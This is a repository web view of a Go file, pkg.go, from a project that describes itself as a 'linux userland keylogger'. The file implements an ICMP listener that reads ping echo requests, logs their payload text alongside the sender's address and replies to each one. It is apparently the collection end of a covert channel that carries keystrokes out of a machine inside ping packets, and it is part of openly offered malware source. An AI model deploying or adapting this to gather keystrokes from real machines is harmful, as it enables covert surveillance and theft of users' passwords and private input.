mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

pkg.go (3943B)

      1 package icmp
      2 
      3 import (
      4 	"log"
      5 	"net"
      6 	"time"
      7 
      8 	"golang.org/x/net/icmp"
      9 	"golang.org/x/net/ipv4"
     10 	"golang.org/x/net/ipv6"
     11 )
     12 
     13 const (
     14 	NetworkIPv4   = "ip4:icmp"
     15 	NetworkIPv6   = "ip6:ipv6-icmp"
     16 	ListenAddrV4  = "0.0.0.0"
     17 	ListenAddrV6  = "::"
     18 	ReadTimeout   = 5 * time.Second
     19 	MaxPacketSize = 1500
     20 )
     21 
     22 type Protocol int
     23 
     24 const (
     25 	ProtocolIPv4 Protocol = iota
     26 	ProtocolIPv6
     27 )
     28 
     29 func DetectProtocol(addr string) Protocol {
     30 	ip := net.ParseIP(addr)
     31 	if ip == nil {
     32 		return ProtocolIPv4
     33 	}
     34 	if ip.To4() != nil {
     35 		return ProtocolIPv4
     36 	}
     37 	return ProtocolIPv6
     38 }
     39 
     40 func getNetworkConfig(proto Protocol) (network, listenAddr string, icmpProto int) {
     41 	if proto == ProtocolIPv6 {
     42 		return NetworkIPv6, ListenAddrV6, ipv6.ICMPTypeEchoRequest.Protocol()
     43 	}
     44 	return NetworkIPv4, ListenAddrV4, ipv4.ICMPTypeEcho.Protocol()
     45 }
     46 
     47 func getEchoTypes(proto Protocol) (echoRequest, echoReply icmp.Type) {
     48 	if proto == ProtocolIPv6 {
     49 		return ipv6.ICMPTypeEchoRequest, ipv6.ICMPTypeEchoReply
     50 	}
     51 	return ipv4.ICMPTypeEcho, ipv4.ICMPTypeEchoReply
     52 }
     53 
     54 func createConnection(network, listenAddr string) (*icmp.PacketConn, error) {
     55 	conn, err := icmp.ListenPacket(network, listenAddr)
     56 	if err != nil {
     57 		return nil, err
     58 	}
     59 	return conn, nil
     60 }
     61 
     62 func setReadDeadline(conn *icmp.PacketConn) error {
     63 	return conn.SetReadDeadline(time.Now().Add(ReadTimeout))
     64 }
     65 
     66 func readPacket(conn *icmp.PacketConn, buffer []byte) (int, net.Addr, error) {
     67 	return conn.ReadFrom(buffer)
     68 }
     69 
     70 func isTimeout(err error) bool {
     71 	opErr, ok := err.(*net.OpError)
     72 	return ok && opErr.Timeout()
     73 }
     74 
     75 func parseICMPMessage(data []byte, proto int) (*icmp.Message, error) {
     76 	return icmp.ParseMessage(proto, data)
     77 }
     78 
     79 func createEchoReply(echoBody *icmp.Echo, replyType icmp.Type) *icmp.Message {
     80 	return &icmp.Message{
     81 		Type: replyType,
     82 		Code: 0,
     83 		Body: &icmp.Echo{
     84 			ID:   echoBody.ID,
     85 			Seq:  echoBody.Seq,
     86 			Data: echoBody.Data,
     87 		},
     88 	}
     89 }
     90 
     91 func sendReply(conn *icmp.PacketConn, msg *icmp.Message, peer net.Addr) error {
     92 	data, err := msg.Marshal(nil)
     93 	if err != nil {
     94 		return err
     95 	}
     96 	_, err = conn.WriteTo(data, peer)
     97 	return err
     98 }
     99 
    100 func handleEchoRequest(conn *icmp.PacketConn, msg *icmp.Message, peer net.Addr, replyType icmp.Type) {
    101 	echoBody := msg.Body.(*icmp.Echo)
    102 
    103 	if len(echoBody.Data) > 0 {
    104 		log.Printf("[%v] %s", peer, string(echoBody.Data))
    105 	}
    106 
    107 	reply := createEchoReply(echoBody, replyType)
    108 	if err := sendReply(conn, reply, peer); err != nil {
    109 		log.Printf("Failed to send reply: %v", err)
    110 		return
    111 	}
    112 }
    113 
    114 func handleEchoReply(peer net.Addr) {
    115 	log.Printf("Received Echo Reply from %v", peer)
    116 }
    117 
    118 func handleUnknownType(msgType icmp.Type, peer net.Addr) {
    119 	// Silently ignore destination unreachable and other noise
    120 	_ = msgType
    121 	_ = peer
    122 }
    123 
    124 func processMessage(conn *icmp.PacketConn, msg *icmp.Message, peer net.Addr, echoRequest, echoReply icmp.Type) {
    125 	switch msg.Type {
    126 	case echoRequest:
    127 		handleEchoRequest(conn, msg, peer, echoReply)
    128 	case echoReply:
    129 		handleEchoReply(peer)
    130 	default:
    131 		handleUnknownType(msg.Type, peer)
    132 	}
    133 }
    134 
    135 func ListenAndPrint(addr string) {
    136 	proto := DetectProtocol(addr)
    137 	network, listenAddr, icmpProto := getNetworkConfig(proto)
    138 	echoRequest, echoReply := getEchoTypes(proto)
    139 
    140 	conn, err := createConnection(network, listenAddr)
    141 	if err != nil {
    142 		log.Fatalf("ListenPacket failed: %v\nRun with sudo or elevated permissions.", err)
    143 	}
    144 	defer conn.Close()
    145 
    146 	log.Printf("Listening for ICMP packets on %s...", conn.LocalAddr().String())
    147 	buffer := make([]byte, MaxPacketSize)
    148 
    149 	for {
    150 		if err := setReadDeadline(conn); err != nil {
    151 			log.Printf("Error setting read deadline: %v", err)
    152 			continue
    153 		}
    154 
    155 		n, peer, err := readPacket(conn, buffer)
    156 		if err != nil {
    157 			if isTimeout(err) {
    158 				continue
    159 			}
    160 			log.Printf("ReadFrom failed: %v", err)
    161 			continue
    162 		}
    163 
    164 		msg, err := parseICMPMessage(buffer[:n], icmpProto)
    165 		if err != nil {
    166 			log.Printf("ParseMessage failed: %v", err)
    167 			continue
    168 		}
    169 
    170 		processMessage(conn, msg, peer, echoRequest, echoReply)
    171 	}
    172 }